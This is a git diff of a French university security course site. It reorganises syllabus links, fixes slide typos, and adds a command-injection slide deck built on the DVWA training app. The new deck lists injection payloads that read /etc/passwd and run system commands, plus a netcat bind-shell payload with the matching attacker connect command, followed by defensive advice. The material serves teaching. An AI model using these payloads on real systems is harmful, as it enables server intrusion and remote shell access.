diff --git a/content/Etudiants/zz2-f5-privacy-crypto.md b/content/Etudiants/zz2-f5-privacy-crypto.md
index 43221fce70700094331ef7eb55f7b253a33b1774..0fa972903e5883a4e1978fe8be25292c55bffc67 100644
--- a/content/Etudiants/zz2-f5-privacy-crypto.md
+++ b/content/Etudiants/zz2-f5-privacy-crypto.md
@@ -13,16 +13,21 @@ Tags: cours
   * [mots de passes](slides/privacy/passwords.html)
   * [tracking](slides/privacy/tracking.html)
   * [souveraineté](slides/privacy/sovereignty.html)
-  * [tails](slides/privacy/tails.html)
+
+  <!-- * [tails](slides/privacy/tails.html) -->
 
 ### Crypto
 
   * [principes cryptographiques](slides/privacy/crypto.html)
   * [tls](slides/privacy/tls.html)
+    * [Heartbleed](slides/1337/heartbleed.html)
+
+<!--
   * [pgp](slides/privacy/pgp.html)
   * [tls vs pgp](slides/privacy/TLSvsPGP.html)
   * [tor](slides/privacy/tor.html) / [tor pour les moldus](slides/privacy/tor_lite.html)
   * [bitcoin](slides/privacy/bitcoin.html)
+-->
 
 <div class="panel panel-success">
   <div class="panel-heading">
diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md
index 8f35991424a35f455d942d5b8b7d6f64eb178877..759a3904686d7d453151750fa09dc3732b5c6e51 100644
--- a/content/Etudiants/zz2-f5-websec.md
+++ b/content/Etudiants/zz2-f5-websec.md
@@ -9,24 +9,25 @@ Tags: cours
 
 * Architecture
 
-    * [HTTP](slides/1337/http.htm)
+    * [HTTP](slides/1337/http.html)
 
 * Pentesting
 
-    * [Collecter](https://doc.m4z3.me/_/1337/collecter.htm)
-    * [Détecter](https://doc.m4z3.me/_/1337/detecter.htm)
+    * [Collecter](slides/1337/collecting.html)
 
-* Exploit
+    * [Détecter](slides/1337/detecting.html)
+
+<!-- * Exploit
 
-    * [Heartbleed](https://doc.m4z3.me/_/1337/heartbleed.htm)
+    * [Heartbleed](slides/1337/heartbleed.html) -->
 
 * Mécanisme
 
-    * [Authentification](https://doc.m4z3.me/_/1337/AUTH.htm)
+    * [Authentification](slides/1337/authentication.html)
 
 * Vulnérabilités communes
 
-    * [Command execution](https://doc.m4z3.me/_/1337/CMDi.htm)
+    * [Command execution](slides/1337/cmdi.html)
 
 * Exploit
 
diff --git a/content/slides/1337/cmdi.html b/content/slides/1337/cmdi.html
new file mode 100644
index 0000000000000000000000000000000000000000..84b376eb260777fdbfc0ca6cd048186330453690
--- /dev/null
+++ b/content/slides/1337/cmdi.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>CMDi</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/cmdi.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/images/authentication/Shibboleth.png b/content/slides/1337/images/authentication/Shibboleth.png
new file mode 100644
index 0000000000000000000000000000000000000000..9911a9b8309321dcaece4d4326abf88ab62774ac
Binary files /dev/null and b/content/slides/1337/images/authentication/Shibboleth.png differ
diff --git a/content/slides/1337/images/authentication/google-authenticator.png b/content/slides/1337/images/authentication/google-authenticator.png
new file mode 100644
index 0000000000000000000000000000000000000000..370701e036963b8fd0daa2c190cc8259dca06ee1
Binary files /dev/null and b/content/slides/1337/images/authentication/google-authenticator.png differ
diff --git a/content/slides/1337/md/authentication.md b/content/slides/1337/md/authentication.md
index cf377a489f2725cc698d0e949878eef412a2e4cf..0b7650b870695e0e0ced490975e9fe1d5aadb7e2 100644
--- a/content/slides/1337/md/authentication.md
+++ b/content/slides/1337/md/authentication.md
@@ -23,6 +23,7 @@
 
 
 # quelques techniques
+## du world wide web
 
 
 ## apache & .htaccess
@@ -273,7 +274,7 @@ Note:
 ## force brute
 
 * par dictionnaires
-  * liste d'utilisateurs + list de mots de passe
+  * liste d'utilisateurs + liste de mots de passe
     * optimisable avec de la probabilité, [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt), de l'ingénieurie sociale, du flaire etc ...
 * par recherche
     * combinatoire
@@ -351,12 +352,21 @@ unshadow /etc/passwd /etc/shadow > mypasswd
 
 ## 2AF
 
+![Google Authenticator](images/authentication/google-authenticator.png)
+
 https://www.google.com/landing/2step/
 
 
 ## Yubikey
 
-[![Ubikey](images/passwords/yubikey.png)](https://www.yubico.com/)
+[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
+
+
+## SSO
+
+![Shibboleth](images/authentication/Shibboleth.png)
+
+ "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
 
 
 ## <i class="fa fa-medkit"></i> Se protéger
diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md
new file mode 100644
index 0000000000000000000000000000000000000000..99787aa91ab966094c2a0ba032a2399cfb7ca1c4
--- /dev/null
+++ b/content/slides/1337/md/cmdi.md
@@ -0,0 +1,148 @@
+## Command execution
+
+### [security low](http://dv.wa/vulnerabilities/exec/)
+
+* exécutrion de commandes arbitraires sur le serveur
+* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection)
+* triviale mais assez rare
+
+
+## Command execution
+
+* paramètre non filtré
+  * la commande est écrite en dur
+    * **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions
+      * exécutée avec les droits du serveur (thread)
+
+```shell
+localhost && ls
+localhost; whoami
+localhost| id
+```
+
+* le réseau est également explorable
+
+Note:
+- dvwa à brutforcer
+    - non y a le cookie qui coince :/
+        - admin:password
+        - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
+- ce cas est faille assez rare
+- il faut injecter des commandes que le server connait
+    - win/unix/linux/bsd/solarix/aix
+        - pool de commandes par défaut
+- l'enchainement d'exlpoits est laisser à l'imagination du pentester
+    - plus il est expérimenté plus il peut créer des attques complexes
+        - plus il peut aller loin dans l'exploitation
+- Regarder le code
+    - Que peut on faire pour améliorer
+        - DVWA Security -> medium
+
+
+## Command execution
+
+### [security medium](http://dv.wa/vulnerabilities/exec/)
+
+* les chaînes de caractères "&&" et ";" sont interdites
+
+```shell
+# Pour y voir plus clair
+1 | ls
+# Plus intéressant
+1 | pwd & whoami & ps
+1 | uname -a & users & id & w
+1 | cat /etc/group
+1 | cat /etc/passwd
+```
+
+Note:
+- approche liste noire toujours perdante
+    - liste de caractère à échapper
+- résultat visible
+    - affiché dans la page
+        - méga rare
+- aveugle
+    - certaines pas faciles à détecter
+        - adduser / mkdir lors de la création de compte
+            - un username se terminant par
+                - ;cmd
+    - ping réseau
+        - on sait si ca a marcher avec le temps d'exécution du ping
+            - si ca rame au chargement de la page
+                - c'est que le ping est en train de s'exécuter à l'infini
+        - sinon sniffer le ping de retour
+            - si pas bloqué
+        - ping -c3 127.0.0.1 pour mémoire
+    - résolution dns d'un domaine maitrisé connu de nous seul
+- Regarder le code
+    - Que peut on faire pour amliorer
+        - DVWA Security -> high
+
+
+## Command execution
+
+### [security high](http://dv.wa/vulnerabilities/exec/)
+
+* l'approche est ici différente
+    * on ne cherche plus à éliminer les caractères dangereux
+    * on cherche à valider que l'entrée est bien une IP
+
+```shell
+$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
+```
+
+Note:
+-détailler l'expression régulière
+
+
+## bind shell
+
+* injecter
+
+```shell
+1 | netcat -v -e '/bin/bash' -l -p 1337
+```
+
+* puis sur le terminal de l'attaquant
+
+```shell
+netcat -v dv.wa 1337
+```
+
+* \o/ nous disposons d'un accès à la machine i
+
+* avec les permissions de l'utilisateur www-data
+
+Note:
+- revenir en medium ou low security
+    - on peut le faire avec cookie manager +
+- netcat couteau suisse réseau
+    - permet d'écrire sur un port
+- soumis a pas mal de condition en vérité
+    - marche que dans un sens
+        - DMZ coupe tout le sortant
+        - reste possible dans ce sens
+        - mais faut passer d'eventuels friewalls
+        - et netcat peu avoir été supprimé
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php)  ou [system](http://php.net/manual/fr/function.system.php)
+* utiliser shell_escape_args() en php
+* utliser JSON.parse plutot qu'un eval() de JSON
+* utiliser des lib spéacilisées
+  * [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
+  * [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
+
+Note:
+- faire marcher le bon sens
+- Note le cron de drupal est pourri parce qu'appelable via des url
+    - utiliser le cron system
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* liste blanche
+* cron pour les traitements récurrents
+* ne pas installer `ǹetccat`
diff --git a/content/slides/1337/md/http.md b/content/slides/1337/md/http.md
index bdef56c3b3aa86823a96b2c0caf91efea676d8d4..666d426002fc07c1a3acc35d2485ddb94b6ef7fd 100644
--- a/content/slides/1337/md/http.md
+++ b/content/slides/1337/md/http.md
@@ -20,8 +20,8 @@
 # HTTP
 
 * inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989
-* en [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) depuis 1999
-* version 2.0 en cours de standardisation
+* [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999
+* [version 2.0](https://tools.ietf.org/html/rfc7540)
   * basée sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google
 
 Note:
@@ -64,6 +64,8 @@ Cache-Control:   max-age=0
 useless data
 </code></pre>
 
+Connaissez vous Burp Suite?
+
 Note:
 - Connection:  keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça)
 - Accept-Encoding: gzip, deflate commpressions supportées par le navigateur
@@ -289,10 +291,11 @@ Note:
     Access-Control-Allow-Origin: http://www.foo.com
 </code></pre>
 
+* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
+
 
 ## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)
 
-* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
 * autorise tous les verbes HTTP
 * remplace [JSONP](https://en.wikipedia.org/wiki/JSONP)
   * qui n'autorisait que la méthode GET
diff --git a/content/slides/index.html b/content/slides/index.html
index fd58101462a0909c8b602163c974cd0f8c189d55..0bd7877919823f08ab3e905a0948191dadbee6b9 100644
--- a/content/slides/index.html
+++ b/content/slides/index.html
@@ -32,7 +32,7 @@
     Pentesting
     <ul>
       <li><a href="1337/gathering.html">Collecter</a></li>
-      <li><a href="1337/detect.html">D&eacute;tecter</a></li>
+      <li><a href="1337/detecting.html">D&eacute;tecter</a></li>
       <li>
         Exploit
         <ul>
diff --git a/content/slides/privacy/md/TLSvsPGP.md b/content/slides/privacy/md/TLSvsPGP.md
index 5a77525e421055495dbf1e342336f90fa6cb1df2..8e4ecaa149bc932854f5616360ac6039923724a8 100644
--- a/content/slides/privacy/md/TLSvsPGP.md
+++ b/content/slides/privacy/md/TLSvsPGP.md
@@ -1,15 +1,20 @@
-### X.509
+## X.509
 * Certificat créé par la CA
 * 1 seule signature : celle de la CA
 * Chiffre le tuyau (TLS/SSL)
 * Confiance centralisée
 * Confiance distribuée
 * Forêt d’arbres de confiance
-### PGP
+
+
+## PGP
 * Certificat créé par l’utilisateur
 * Plusieurs signatures
 * Chiffre les messages
 * Graph orienté de confiance
 
-X.509 centralise la confiance sur les CA
-PGP distribue la confiance entre utilisateurs
+
+## X.509 centralise la confiance sur les CA
+
+
+## PGP distribue la confiance entre utilisateurs
diff --git a/content/slides/privacy/md/crypto.md b/content/slides/privacy/md/crypto.md
index 9361dfb654368f0b392830d70ee343450bd4c538..f15109195c118c6fb73493345efa3a620be59983 100644
--- a/content/slides/privacy/md/crypto.md
+++ b/content/slides/privacy/md/crypto.md
@@ -259,7 +259,7 @@ note:
 ## Signature en pratique
 
 * Bob a pu vérifier
-  * la clé à l'origine du message **autentification de l'origine**
+  * la clé à l'origine du message: **autentification de l'origine**
   * l'**intégrité** du message
 
 **autentification de l'origine** + **intégrité**
diff --git a/content/slides/privacy/md/tls.md b/content/slides/privacy/md/tls.md
index 31602782e028b2600db252a038f31b15225aef3b..ecd999c2e7926dab78bb649afdf9fa86ea36f662 100644
--- a/content/slides/privacy/md/tls.md
+++ b/content/slides/privacy/md/tls.md
@@ -65,7 +65,7 @@
 * **Serial**
 * Algorithme de signature du certificat
 * **Issuer** le signataire (***DN*** de la ***CA***)
-* **Validty** début fin de validité
+* **Validity** début fin de validité
 * **Subject name** **DN** identifié par le certificat
 * **Subject Public Key**
 * Extensions (ajouté en v3)